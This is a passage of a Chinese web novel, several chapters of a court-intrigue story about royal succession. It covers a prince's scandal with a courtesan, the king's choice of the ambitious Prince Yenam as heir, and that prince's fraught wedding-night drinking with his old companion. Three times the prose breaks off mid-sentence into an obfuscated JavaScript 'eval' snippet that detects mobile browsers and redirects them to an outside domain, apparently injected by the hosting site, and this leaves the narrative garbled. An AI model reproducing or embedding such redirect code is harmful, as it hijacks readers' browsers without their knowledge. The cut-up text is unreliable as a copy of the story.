宋道真道:“领相满口圣人言来言去,皆是些大道之理,可仔细听来,又缺了几分道理。自古以来,难道明君都是靠德行选出来的吗?先祖定下这基业时,可有曾说过选择储君一定要选德行最佳之人?赤子之心何时成了选立储君的标准了。赤子之心赤子之心,领相强调数遍,我倒是想问问领相,仅仅凭靠一颗赤子之心便能控御臣下,治理好国家了?单从德行来看,瑞泉君是四德不亏不错!但瑞泉君其人也过于软弱,心计之浅,不足以掌控国家,脾性之软,不足以控御百官!若做个闲君足够,做君王则不够!相比之下,睿南君虽德行不如瑞泉君,行事略有不足之处,但却是有君王之风姿!” 韩义亨横视宋道真,不紧不慢道:“君王之风姿?在我眼里,有君王风姿的, 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王上放下手中的书卷,看向殿门外,道:“去叫沈同庆来。” 一出王宫,宋道真就撵在韩义亨后边,指着韩义亨的后脑袋怒斥道:“韩义亨你个混账!” 韩义亨不停步地走,道:“吏判这是何意?” 宋道真继续怒斥:“你少在这给我揣着明白装糊涂!说好的一起扶持睿南君,为何御前变意?!” 韩义亨道:“吏判,你还是这么愚蠢。” 宋道真道:“什么?!” 韩义亨站定了,扭头道:“你真以为,主上会选瑞泉君?” 宋道真指着他:“他都那么说了!孰赞成!孰反对!你之前说好的反对,现在搞什么赞成?” “少指着我。”韩义亨神色不快道:“要是瑞泉君坐上世子的位置,我的家门失去的东西可比你的家门失去的东西多得多,我尚且不急,你又在这急什么?你要是懂以退为进,自然就会明白我为何临时变意了。我看吏判你说得也不错,瑞泉君当然也有不适合为储的理由,你我虽不知这理由在主上心中的份量,但凡事若是等一等,总归有个千变万化的结果,何必急于这一时。” 宋道真呸一声,继续指着他:“人话不说说的什么鬼话。你倒是好,讲什么以退为进,在主上面前博了脸子,让我衬起你来了。我看你早就有这个心思,故意等着这一日,让我成了你在主上面前显眼的嫁妆吧!” 韩义亨脸色也变得极差起来,一挥小臂打开宋道真指着他的手,愠怒道:“吏判!我说了,少指着我。想在这宫门前打架?” 宋道真也不敢真打,只能骂道:“该死的混账。” 韩义亨哼了一声:“也难怪你不得主上器用,真是难为德平翁主有这么个儿子,连孙子都不如。只可惜你那长子跟了你这么个爹,既自作聪明,又实在愚蠢。有你这个爹在,这辈子仕途都顺不了,可怜!” 宋道真差点气晕:“韩义亨!你真想在这打架不成?!” 韩义亨扭头便走:“不怪我没提醒你,宋大监,若是想让一切顺着我们的心意和利益走,你最好少出来跳脚。” 61. 夺嫡其二 “遭了!大监!出大事了!坏事了!” 家仆满脸着急地从外边进来,沈提学正在几位同僚有说有笑,见家仆莽撞地进来,他略有不爽,道:“出什么坏事了?好好说。” “大监大人!真的坏事了!”家仆道:“瑞泉君出事了!” 屋内众人大惊失色:“出事了?!” 沈提学面色顿变:“胡说!好端端的怎会出事?出什么事了!” 家仆道:“昨日瑞泉君去了城北的莳花院,为了一个女子和判尹家的河四公子闹起来了!河公子不知是瑞泉君,瑞泉君也不肯报出身份名姓,河公子就动手打人了,瑞泉君他只带了两个随从,挨了打之后那两个随从才暴露身份,谁知河公子不信一向守规守矩的瑞泉君会出宫,于是又动了手,打得瑞泉君不得已掏出腰牌才肯信,河公子道了歉这事就算过去了......” 一个官员喝道:“什么叫这就过去了!堂堂王子在宫外遭人殴打,还得咽下这口气?河判尹怎么教儿子的,教出那样的混账来!” 沈提学抬手道:“此事虽是河家公子的错,但瑞泉君也是本不该私自出宫,更何况是去莳花院那种地方,若是被主上知道了也并不好。何况之前主上召见我,询问我有关立储之事,我看主上似乎并非很中意瑞泉君,眼下不能在这一关节上闹事,能这样过去便过去了。” 官员道:“哼!大监,要不是那河判尹是领相的人,这事定然善终不了!” “大人,这件事哪有善终啊,后面的事可遭了。”家仆苦着脸道:“小的听那两个瑞泉君带出去的随从说,瑞泉君回宫后虽然有意隐瞒出宫遭打的事情,但脸上的伤是隐瞒不下来的,端嫔娘娘好像已经知道了瑞泉君遭打了的事情,说是要去带瑞泉君去见主上!” 官员大惊道:“端嫔娘娘怎能去找主上?怎能让主上知道这件事!遭了!沈大人,您赶紧进宫去拦着端嫔娘娘吧!” 其他官员都赶紧附和起来。 “我现在进宫还来得及?既然消息都传到我们这了,主上岂有不知之理?”沈提学沉着一张脸道:“这个孩子真是,好端端的不在宫中待着,学那个睿南君做什么?他难道不知之前睿南君多次出宫已经让主上动过大气吗?连我这个做舅舅的竟也不知,届时我去主上面前认罪求个情便是。不必着急。” 一个官员着急道:“大监!您怎么不着急呢?万一主上要处罚瑞泉君,岂非在立储之上上有所影响?” 沈提学道:“事已至此,着急什么?那莳花院在官衙上了牌子,也算正经之地,如今丧服已除,难道汉阳人人都能去妓坊,瑞泉君那孩子就去不得了?主上要罚他,也无非是罚他擅自出宫罢了,即便影响立储,又能影响多少?尔尔罢了。” “大监言之有理。”另一个官员道:“虽说瑞泉君不该私自出宫,但恐怕也只是年轻气盛,想着体验体验宫外的风情,找位有才情的女子作解语花本是无可厚非,主上就算再气,也不会大动肝火。” 家仆支支吾吾道:“可是...可是......” 沈提学眯了眯双眼:“难不成......他上手嫖妓了?” 家仆满脸苦大仇深:“正是啊!” “胡说!”沈提学猛地拍桌,咵一下站了起来:“瑞泉君的品性我知晓,怎会做这种事!” 家仆道:“是真的大监大人!是莳花院自己说的,说瑞泉君早早就和那名妓生宿过多回了,主上知道后格外生气,让瑞泉君不准出宫了!” 官员们倒吸了一口凉气:“早早和那妓生宿过多回了?!” 家仆心惊胆战地点了点头。 沈同庆厉声道:“还有呢?!” 家仆道:“小人只知道这些,旁的就不知道了,瑞泉君的仆从说这事在宫里已经封锁消息了,不让我告诉其他人,可是现在风言风语都传了满城了!” 沈同庆眼睛瞪得像铜铃,几名官员也坐不住了,着急忙慌地从位上站起,好像火燎到了眉毛一般着急道:“大监!这可如何是好啊!现在可是不得不谨慎行事的非常时期啊,瑞泉君出了这事,我们得想个办法保他!” 沈同庆眼神凌厉,摘下脑袋上的程子冠,扫了一眼众人道:“难道我不知这事万不能影响到瑞泉君吗?我亲自去见主上。换官服,你们同我一齐进宫去求见主上去!” ...... 王宫,大殿。 瑞泉君畏畏缩缩地跪在地上,座上的父王每训斥一句,他就害怕地抖一下。 王上厉声呵斥道:“瑞泉君!寡人竟不知你有这样大的胆子,竟敢在丧期做出这等丑事!若非是司宪府带着人检举到寡人跟前来了,寡人还要被你这个逆子瞒多久!几个月连续出宫......寡人看你真是胆大包天!” 瑞泉君战战兢兢地发抖,不敢说话,头都快低到地下去了。 “司宪府掌令给寡人递上来的奏疏,第一道就指你在未除服时便与贱籍之女宿于一房,你认不认?!” 瑞泉君惶恐道:“儿臣...儿臣认。” “好,你认!瑞泉君!你是后院里没人还是怎样?竟敢私自出宫和那些贱籍女子混在一起,你就是喜欢宫外的花草,偶尔出宫也罢,寡人不计较,但你为何非得在丧期未过时违礼?若是三月丧期过了,你再去做混账之事,寡人尚可原谅你,可你在丧期当中行房,寡人如何原谅你!寡人一向以为你是几位王子中最出色最知礼法的,你如今闹出这件事,岂非是让寡人失望至极!你究竟是为何啊?你给寡人说清楚!” 瑞泉君声音颤抖万分:“儿臣、儿臣是听身边内侍说、说起宫外新鲜之事,一时糊涂才想着去看一看......父、王切勿怪罪于他们,他们也阻止过儿臣出宫,是...是儿臣自己非要出去,逼他们替儿臣打掩护的......父王,此事...确实是儿臣的错,儿臣知错了......” 王上厉声道:“听内侍说几句你就敢出宫去了?以往内侍不曾说过?那时你怎不出去,非要在丧期内出去!” “父王,儿臣...”瑞泉君哭道:“...儿臣自从上次为先世子送葬而出宫后,觉知宫外有趣,因此对宫外越发好奇起来,以往听内侍们说都不觉得心痒,那回听说了,几个整晚没睡好觉,想着宫外的情形,因此这才、这才气血上头做了蠢事,儿臣真的知错了,父王...求父王责罚!” “你现在才知认错,享乐时怎不知反思!宫学师傅是不曾教过你?难道你不知违背服丧期间不得行房的规矩?!你一时冲了头脑,这是犯了大错!放在寻常官员头上不是革职抄家就是重刑流放!”王上气得不停捶着心口,差点顺不上一口气:“你是寡人的儿子,寡人是想偏袒你,替你瞒下,可那群盯着寡人的文武官员不同意!教出你这么个儿子,寡人怎么对先王交代,怎么对臣民交代?!” 瑞泉君爬到王上脚边,磕头道:“父王,儿臣知错了,儿臣真的知错了。儿臣想弥补错误,求父王给儿臣一个机会,儿臣再也不敢了!” 王上闭了闭眼:“这件事在朝廷上已经掀起来了,寡人放纵你不得,惩罚你也不必求,你给寡人闭门思过半年,滚回去好好反思自己的过错!” ...... “不见?!” 张尚膳道:“几位大人,主上现在还在气头上呢,说了谁都不见。先前吏判宋大人也来了一趟,也没见到主上。您几位还是请回吧。” 沈同庆斜了张尚膳一眼:“听说端嫔在殿内。” 张尚膳呃了一声:“这,端嫔娘娘是在殿内服侍着,因而几位大人还是...不宜进去为好。” 一位官员道:“那我们就在大殿外候着,若是主上愿意见我们了,尚膳再通传吧。” 张尚膳欲言又止,心道反正你们肯定也会像宋大人一样等几个时辰便老实离开了,因此便屈身道:“是。” 几个时辰后,已是近黄昏。 一众官员在外都等累了,大殿内也没有丝毫动静。沈同庆和同僚们等得都军心不稳了,这时殿门忽然被推开,一位面容姣好,只有眼角略有岁月痕迹的女子走了出来,几名官员顿时道:“端嫔娘娘。” 端嫔微笑示意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这岂由得他争不争?”沈同庆打断道:“这也不由得你争不争,更根本不由得我争不争,妹妹难道不知勋旧派那拨人对这新位是虎视眈眈,垂涎三尺?若是他们得位,往后这庙宇之上还会有我们沈氏一个字?圣人说唯不争而莫能与之争,可如今这情形,唯争而能保身。我这是在为我们沈氏做打算!” 端嫔默默无言片刻,而后道:“我在宫中无聊的那些日子,读了些坊间热闹的书,听闻鹬蚌相争渔翁得利。朝廷百官的争斗往往会不折手段,弄得两败俱伤,哥哥为何会认为主上一定从睿南君和瑞泉君这两个孩子当中选呢?五王子,六王子和七王子并非无一点可能。” “呵,妇人之言。”沈同庆嗤了一声,抬手道:“端嫔,你不要再说了。这件事是我们朝廷官员的打算,你一介后宫还是少操这些心,多想想如何磨练磨练瑞泉君的性子吧。家中父母都很想你,我们以后再会。” 看着沈同庆肃然离去的背影,端嫔无言叹息,殿阁外尚宫走了进来,担忧道:“娘娘......沈大人也太不通情理了,看来您寄送回家的信件他是看都没看呢。” 端嫔道:“他如此一意孤行,我一介后宫中人,能有什么办法?” 尚宫道:“但小的觉得您说得对,本就不该去争这些......” 端嫔道:“争不争的...看吧,往后的日子不会好过了。这次瑞泉君犯下如此大错,倒不是个坏事,主上似乎对他很是不满,若能知道他不适合便好了。” 尚宫快哭了:“娘娘......” 端嫔温声道:“有什么好伤心的?若是要来的坏事,也必然躲避不过,来便是了。我只是担心那孩子会受不住。唉,怕是风雨欲来啊。” 与此同时,王宫另一处。 李澄看着小宫女带回来的密信,拆开,越看,唇角勾得越高,面上的笑意已经完全扭曲了。 “很好...很好......” 韩圣吉说得果然不错,对于常年处在封闭一隅的人而言,没有见识过的东西有着莫大的吸引力,更别说瑞泉君这种缺心眼傻纯良的人了,这个傻不知外物的家伙,果然只要一钓,便会主动上钩。 李澄渐渐收敛笑容,毫不留情地将信纸丢进火盆里。他盯着蜷缩成一团的灰烬,眼底亮着疯狂的喜悦。 他的大业,就要成了。 只可惜,他听说宋景熙被派去尚州,与他天各一方,还要许久才会回来,怕是不能亲眼见到他站在百官面前穿上衮龙袍的那一刻了。 62. 夺嫡其三 李珘走过一道长长的地道,来到了离宫。 这是他一向走过的路。 王上早早地坐在殿内等候,见他来了,面露微笑,道:“王兄这回来得早。” 李珘也没多礼,拱手作揖后直接坐了下来,道:“不敢来得晚呀,上回来得晚,你就减了我的廪费,身为臣子,得吸取教训不是?” 王上哈哈笑了两声,李珘看着两人中间一张矮桌上摆着的饭菜,心道赶上膳时了。而且自己面前也摆着一副碗筷,看来王上这次是让他一起来吃一顿饭的,于是很自然地拿起筷子,正欲夹菜,王上忽然道:“王兄不问问我找你来所为何事?” 李珘道:“不是来请我吃一顿的?” 王上道:“算,但也不算。这一餐并非正事。” 李珘道:“那主上你找我,无非就一件事,东郡的事?大可放宽心,那边的事情我们自有计划,不必担心黑手会联络到海商,全国的船只都记录在档,任谁出入都会严格把控,我是让他们非必要不准出的,再者若是黑手已经联络上了海商,那他也不必袭击我们布防在东郡的人手了,你啊就别操心......” “我不是来问这件事的。”王上道。 “哦?不是啊?”李珘方才边说边吃了一口,这下噎住了。 王上叹道:“王兄,莫装糊涂,最近发生的事情,你不是不清楚。” 李珘又噎了,他本来是真没装糊涂,但是王上这么一提醒,也难免想起来了,“你是说瑞泉君的事情?” 王上拿起筷子但不说话。 李珘心道:“看来就是了。” 他道:“这件事情,的确是瑞泉君的问题。” 王上哂道:“也就只有你和端嫔会这么对寡人说了。” 李珘道:“难道不是这样?这样的罪孽,比我当年还好不了多少。” 王上道:“有过之而无不及。当年你是遭人陷害而为之,他那是明知不可却屡屡为之。寡人只不过是为将他圈禁,除了端嫔以外,沈同庆领着的士林派那群清流,竟还敢联名上书为他求情。” 李珘道:“胆儿真肥,清流?真正的清流都是被孤立的,哪会拉帮结派。瑞泉君这孩子,我虽没见过几面,却也都知道他品性太纯,料不到会做出这样的事情。话说我当年是遭人陷害而无意为之,瑞泉君难不成...你查了没有?” 王上道:“你也这么想。” 李珘道:“对。” 王上沉默片刻后道:“王兄,你知道我当初有多寒心么?我也不信瑞泉君会做出这样大逆不道的事来,并且那时百官当中若非是支持瑞泉君,便是支持睿南君,我知晓此事时甚至误以为是睿南君泼在他弟弟身上的脏水,毕竟睿南君这孩子我看得很明白,他有野心。然而我派人去查清了原委,竟只是瑞泉君身边几个内侍某日谈起宫外野花,被他无意听了去,他便起了出宫的心思,并遭了宫外贱籍女子的引诱,这才做了不孝之举。” 李珘道:“那几位内侍说的话当真是被他无意听见的?” 王上道:“严刑拷打过了,结果便是如此。” 李珘咽了一下喉咙:“那便不是有意的了。即便是有意,他也不该如此经不住宫外的诱惑,倒是奇怪,这孩子平日都是克己复礼,万分守规矩的那类人,为何忽然做出如此惊天骇俗之事?怪哉......” 王上道:“元显世子葬礼时,他出过一次宫。” 李珘刚送进嘴的饭菜又噎住了:“咳?!” “哦、哦,这便不奇怪了。” 心思太单纯,又从未接触过宫外之事,一旦和宫外沾染上一星半点,那宫外任何新鲜的事情对他来说都是有着致命吸引力的,这才叫真正的欲罢不能,而且能教人做出冒天下之大不韪的蠢事来。 “那你继续圈禁他,岂非是又只会得到相反的结果。” 王上看向饭菜,夹了一筷子,缓慢地尝了一口,食之无味,道:“人做错了事总要得到教训。圈禁只是一时,待他成婚,寡人便让他出宫开府。届时他如何喜爱宫外世界,都教他自己去喜爱。” 李珘停住了嚼嚼。 成婚,出宫,开府,这是每位王子的必经之路,睿南君和瑞泉君都尚未成婚开府,一个是曾经死不愿意,一个是曾经年纪还没到,而看如今的局势,哪位王子有希望成为王世子,那东宫殿就是让谁住的,没能当上王世子的自然是出宫开府了。 现在,王上说,要让瑞泉君结束圈禁后去出宫开府。 那答案似乎有点显而易见了。 “主上。” 李珘严肃地叫了一声。其实他并不是有多么在意王世子的人选,谁上去,他都无所谓,只要不是个暴君和昏君就成,而且他相信这位让他辅佐了十几年的王上不会选择不适合国君位置的王子。 他感慨道:“你还是这么有主见。比当年的我可好多了,也不知道父王为何选了我这个根本不适合当世子的家伙,好在事实证明,你比我适合多了。” “不过,我总归得提醒一句......” 听到他这么说,王上忽然想起来,当年先王登基之后,也是面临着两个儿子选哪个的抉择。 崇绫大君和崇信大君,先王最终顾念发妻而选了崇绫大君。之所以这么选,其实还有另一个重要的理由,那便是在这两个大君当中,只有崇绫大君最敢做。 那时先王被韩丙建和宋泰日等勋旧派一行人推上王位,登基之后,宋泰日急流勇退不愿多受功禄,而韩丙建则成了最大的功臣,大到即便还只是兵曹判书时,便被人称为是兵曹判丞——至于是尊称还是戏称有待商榷。先王因此对韩丙建多有忌惮,有心变法强化王权,却一直碍于多方原因不得施行,直到病倒在榻上了,忽然想起自己当了这么多年王还有这么一件未了结的心愿,想死前搏一搏,但却不方便自己动手,于是把这任务给了给了当时的世子李珘,寄希望于李珘能通过变法和新政来集权。 那时的李珘一条胆比天大,完全继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773811|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承了父王的意志,和父王一样认为王权如果不掌握在王的手中,那么王座就会被架空,百姓将会寝食不安,国家就会摇摇欲坠。而这一切的罪魁祸首,李珘认为,就是勋旧和士林的党派之争。 明确了敌人,才能对症下药。甫一代理听政,李珘就开始大刀阔斧地干,进行的正是为了消除党争的变法新政。勋旧和士林都成了被李珘针锋相对的敌人,尤以勋旧派受打击最甚。 崇信大君作为辅佐,意识到了一些问题,一直在劝说兄长李珘不要太强硬,铁血手腕迟早会招来灾祸。然而当时的李珘没有听进去半个字,一心认为变法新政就是重新打一次天下,不流血不掉脑袋怎么能成事,不做出牺牲,就不会得到成果,只要他稍微退一步,那些拉帮结派的老狐狸就会嗅到一丝废掉新政的可能。越是劝说,他越是变本加厉。 后来变法失败,李珘被废,崇信大君见到兄长被害,意识到和士大夫争权夺势不是个明智之举。国君自古以来就是与士大夫共治天下,消除党派只会动摇国家根基,最终不会换来国家的长治久安,只会自取灭亡。 先王咽下最后一口气前,正是这么对崇绫大君和崇信大君这两个儿子这么说的。 因此,崇信大君一登基,就废除了新政。 后来李珘自己反思的时候也意识到,自己太激进,太意气用事,太不懂权衡,也不喜欢和群臣打交道,自己从一开始就不适合王世子这个位置。选择错误的继承人,这是一件很恐怖的事情。 因此,李珘道:“睿南君这孩子是不是个适合的,也实在难说。” 王上道:“最合适的孩子已被上天收走了。” 李珘沉默不语。 王上继续道:“实在是瑞泉君太不合适。他一来本性不适合做王,二来,寡人不愿士林派那群人得势。” 李珘依旧沉默不语。这点倒是提醒他了,当年他搞新政搞变法的时候就有点意识到了,王上其实挺亲近勋旧派的。废掉新政后,王上重新启用的人大多都是勋旧派的人。 “寡人想,若是瑞泉君为世子,让士林那群人得势,国家迟早会掌握在士林派手里。国家既然不是掌握在勋旧手里就是在士林手里,那还有什么换个党派掌握国家的必要。寡人虽然同样厌□□争,可党争却不能杜绝,因此只能、也宁愿倾向勋旧一党。” “何况,寡人让曾辅佐元显世子的侍讲官入职宫学后,在宫学诸王子当中,如今表现最出色和得体的人便是睿南君,那些侍讲官皆认为睿南君虽小有缺陷,性格和学问上都不如元显世子,却也是可塑之才,勤能补拙,而这孩子也的确越来越勤奋。瑞泉君又做了那样的逆举,寡人只能这么选。” 李珘还是沉默不语。半晌后,才道:“主上,你何时下旨?” 王上早已放下筷子,喝了一口咸汤,依旧是感觉寡淡无味,便将汤吐掉,拿帕子擦掉嘴上的水渍,道:“我叫王兄你来,只是想有人能认同我。” “都承旨已经在殿外候着了。” 63. 夺嫡其四 吱嘎一声,门被推开。 屋内正中坐着一人,面前有一架矮桌。 “邸下。”宋景熙踌躇在门口半晌,才喊了这一句。 李澄已经不是睿南君了,而是王世子。 李澄微笑道:“哥,你来了。不必多礼,快坐,等你很久了。” 世子嫔拣择的结果早已出来了,女方是领议政韩义亨的幼女韩暎。今日,是双方大婚的日子。 但李澄却出了宫,并且遣人将宋景熙叫了过来。 宋景熙倒是不想来,一介世子在大婚当晚出宫和人喝酒,这算什么?一来世子嫔一定很伤心,二来这件事要是被捅出去,那他也脱不了干系。李澄身边的宫人来请他的时候,说什么世子邸下请喝一杯,他纠结了很久还是选择来了。 宋景熙心情复杂地走了过去坐到李澄对面。 李澄似乎为宋景熙的到来很高兴,举起自己的酒杯道:“哥?” “这几日都不禁酒,哥你应当没有理由拒绝这一杯了吧?” 宋景熙垂眸举起面前一杯早就倒好的酒,朝李澄露出一抹浅淡的笑,道:“那当然了,今日是邸下大喜的日子,不敢扫兴。”然后仰头喝了下去。火烧喉咙,难喝。 李澄满意地点了点头。 等他也仰头喝完了自己的酒,宋景熙也斟酌好了自己的遣词用句,道:“不知邸下出宫,是否是有何要紧事?” 李澄道:“要紧事?不,哥,我的要紧事已经过去了,我只是想出来放松一下罢了。哥你不会不知道的,往后我只怕是...再很难见到你了。”他说着,神色变得沉了下来,还不待宋景熙说话,他又抬眼盯着宋景熙道:“哥,你想见我吗?” 宋景熙哈哈道:“我怎会不想见到邸下您呢?” 李澄也哈哈道:“这可是哥你自己说的。” 宋景熙不解:“嗯?” 李澄继续笑着道:“哥愿不愿意到我身边来从事?” “......” “我已经想好了,侍讲院的那些师傅和侍讲官们都是父王选定的,不是我能变动的,但那些五品以下职位,兼文学、兼司书,这些,都是无关紧要的小官,这些人员的变更我掌控得了,哥,你愿不愿意做我的兼司书?” 宋景熙叹了一口气。 李澄慌忙道:“虽然、虽然才只是正六品,但我能保证,只要哥愿意留在我身边,做我的兼司书,往后定然不会只屈居于这区区六品上,待我坐上王位,就是领议政的位置,我都让哥做!不仅如此,我还要封哥为府院君,我......” “邸下。”宋景熙打断了他,有些于心不忍道:“恕臣不能。” 李澄连纠正自称都忘了,手指攥成一团,道:“为什么不能?!” 宋景熙道:“臣没有那样大的志向,只愿意做个悠闲自在之人,朝堂庙宇之事,本不愿掺和太多。” “你先不必自称臣!”李澄道:“那、那哥就先做兼司书,不做领议政,封为府院君,也是个爵位闲职,不会为朝廷所忧扰,如何?!” 宋景熙道:“可是我...我已是曳扇台密使,按照台中的规矩,两班出身的密使不得身任朝廷要职,只能在闲杂机构挂名,做不了大官,更不能受封爵位,邸下,我的确是不能...接受你的邀请。” 李澄瞪大眼睛:“曳扇台?!” 宋景熙叹道:“世子有查看曳扇台名单的权力,若是邸下不信,可去看一看,我不敢骗你。” “哥从来不骗我,我信......”李澄喃喃道:“怎么连这件事也不能如我的意呢......” 他转而盯着宋景熙,语气急迫道:“哥!难道你连兼司书这样一个六品小官也不愿意兼任吗?!” 宋景熙摇头,温声道:“本来就有很多事情是不如我们意的,邸下也不必伤心,即便我不能出任兼司书,这也不代表邸下再也不能见到我了,若是我还有幸能进宫,不就可以见到邸下你了吗?” 李澄点头道:“是、是啊,哥说得对。我现在是世子了......我也可以召哥进宫,我当然可以......” 宋景熙默默地想就算是世子也不能随便召人进宫的。 李澄渐渐地笑了起来,给自己斟了一杯酒,畅饮了下去,饮完了似乎压在腹中的情绪又吐上来了,神情也变得悲哀起来,眉头紧锁,似在诉说,又似在自言自语:“我付出了那么多...得到的却只有这么一点...这不公平......” 宋景熙担忧地喊了一句:“邸下。” 李澄回神愣了一瞬,随即当作无事发生,又给自己斟了一杯酒,顺带还给宋景熙斟了一杯,并用强硬的口气道:“喝。” 宋景熙又喝了一杯下肚,他知道这酒后劲大,喝得少却也发作得快,而且很容易就让人晕得不成样,所以他刚一口闷完,就赶紧将早已打好腹稿的劝说说了出来:“邸下,今日是你大喜的日子,就这么让嫔宫独守空房,是不是不太......” “不要提她。”李澄恶气道:“哥,我是来找你的,为何要提起那个女人?” 宋景熙道:“可是她毕竟是你的妻子......” 李澄恶狠狠地道:“她不是。” 宋景熙愣道:“邸下,难道你并不喜爱她吗?” 之前在韩府偷听到韩氏一族和李澄勾搭上的时候,听到韩圣吉对韩暎说“睿南君心悦于你”,这时他尚且不信李澄对韩暎是真心爱慕,毕竟掺杂的权欲太多,后来他又拜托全百事监视李澄和韩氏的勾搭动向时,全百事也千方百计地看到了李澄和韩暎这两人来往的信件,并且将内容重现给了他,他看了那些李澄写下来的饱含情意的文字以后,相信这绝非是能轻易装出来的,于是也信以为真,以为李澄对韩暎真是真心的。 可是现在李澄对世子嫔的这个态度...... 李澄冷然道:“我从未喜爱过她,不过是她一厢情愿罢了,这样蠢的女人,为我所用也是活该。” 宋景熙觉得这话说得太过分,于是道:“话也不能这么说,你对她还是...” “哥!”李澄厉声道:“我说了我不想提她,哥一定要一直戳我的心么?我不想再说了!难道哥不知道、不知道我真正喜爱的人...另有其人么......” 宋景熙也感到很恼火:“那你就去娶她啊?辜负一个无辜女子的真心这算什么?” 李澄道:“无辜?!你说无辜?!” 宋景熙道:“难道不无辜?她做错了什么?” 李澄道:“她姓韩!哥当年在宫里做我的伴读,难道现在就忘记了我还只是睿南君的时候,那些姓韩的家伙是怎么折辱于我的吗?!她生来身上就流着韩氏的血,享的是韩氏的荣华富贵,既然享了韩氏荣华富贵,那也就要承受韩氏的罪孽!我恨韩氏!我凭什么不能讨厌她?我偏要折磨她!” 宋景熙道:“你讨厌韩氏,那你还要和韩氏联手争这个世子位?!你若是不喜欢她,你就不要娶她!你有喜爱的人,为何却叫另一个女子为你做出牺牲,为何要总是把自己放在一切的中心?不是所有人都该围着你来转的!” 李澄心道我当然是一切的中心,但他没有说出来,没有计较宋景熙后面的话,而是拧起眉道:“哥怎么知道这件事?” 宋景熙道:“我就是知道。睿...邸下,你既然讨厌韩氏,为何不找韩氏寻仇,却非要找一个女子来开刀?” 李澄凶恶地道:“去他的!我不管!韩氏也只不过是暂时为我所用,哥以为我日后不会找他们的麻烦吗?物尽其用,这些人,迟早也会付出代价!” 宋景熙扶额道:“邸下,你真的......变了很多。” 李澄道:“我向来如此,哥从前一向很懂我,如今是怎么了?为何我做什么事,你总是一副反对的模样,难道我做得不对吗,我都已经坐上了这个位置,还不能说明我做的是对的吗?” 宋景熙捂住眼睛:“我不想和你争辩。” 李澄哼了一声,随即又语气悲哀地道:“每回我来找哥,总是说起这些不愉快的事情,哥已经完全不在意我了是吗,总是说起旁人,总是为了旁人而同我争吵,总是总是,哥......” 宋景熙移开手道:“邸下。” 李澄道:“哥。” 宋景熙语气决然道:“至少,你现在不应该出现在这里。” 李澄的脸颊狠狠一咬:“哥!” 宋景熙又缓和了一点语气:“邸下你想,既然你现在和韩氏还是扶持的关系,还不能让你讨厌的韩氏得到惩罚,那也不应该让他们感到寒心才对,若是他们知晓你在新婚当夜弃嫔宫于空房而不顾,他们是否会对你心生嫌隙?这件事怕是不会太好办,邸下,现在你还不能和他们决裂吧?至少,还是得稳住嫔宫,以此稳住韩氏才是,我是在为邸下你做考虑。” 这下,李澄总不会说他又是为了旁人吧? 果不其然,李澄的神色也缓和了,他又喝了一杯酒,道:“......哥说得对。” 宋景熙叹息道:“所以说您太冲动了。现在为时还不算太晚,邸下,你趁早回头。往后,何必害怕你我没有相见的时候。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774939|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李澄紧紧握着掌中杯壁,几欲捏碎,僵着表情不知在想什么。 半晌过后,两人谁都没说话,一杯接一杯的喝酒。宋景熙晕乎乎地快趴下了,这时听到外边好像有人在说话。 外边,韩时元一直守在门口,听到屋内似乎谈话不是很愉快,正担忧着,便见不远处快步走来一人。 等他看清这人的长相,双眸顿时一冷。 韩圣吉。 韩圣吉并未注意到守门的韩时元,只当是哪个家仆,便视若无睹地踏上台阶,却被他以为的家仆拦住了去路,进不了门。 韩圣吉眯起眼,盯着韩时元,道:“让开。” 总觉得...这张脸有点熟悉...... 韩时元冷声道:“你来错地方了。” 韩圣吉冷笑道:“我没来错,我来抓人,你挡着我,这让我很难办。” 韩时元不想多说第二遍,依旧是冷声道:“那便滚。” 韩圣吉莫名其妙呵笑一声:“你是谁?” 韩时元悄无声息地握住了腰间的佩刀——百避。 韩圣吉毫不惧怕地对上韩时元深不见底的双眸,将其每个五官都扫了个遍,殊不知这更让韩时元心生厌恶,连佩刀都抽出来了一部分。 韩圣吉忽然好像恍然大悟,竟然笑了一声出来:“别抽刀啊。” 他露出毒蛇一样的眼睛盯着韩时元,道:“你长得,真的很熟悉。” “哧”一声,百避被迅速抽出,危险地抵在了韩圣吉的脖子上。 韩圣吉扯唇道:“我还什么都没说,为何无缘无故便要取我性命?我又不认识你。” 韩时元俊美的脸上满是寒意,以及杀意,他的确只需要再用点力就能割破韩圣吉暴露的脖颈,韩圣吉回视着那双眼,面上仍保持着僵硬的笑容,一点不退让,却也不敢确定他是否会动手,忽然此时,韩时元身后的门被向左右一把推开。 宋景熙醉醺醺地出现,然后出乎所有人意料地抱住了韩时元的腰背。 屋内李澄的瞳孔霎时一缩。 韩圣吉敏感的脖子感受到那把要命的刀松力了,他悄无生息地退了一步,然后趁韩时元已经忘记他时,绕过这两人往屋内去了。李澄看见韩圣吉,瞳孔更是缩到了极致。 韩时元被忽然一抱,一时未反应过来,紧接着心下一软,任由宋景熙贴在他背后贴了一会,见宋景熙似乎有下滑的意思,于是他便转身将宋景熙提溜了起来,拥在怀中,看了一眼宋景熙的脸,停留片刻,然后看向屋内。 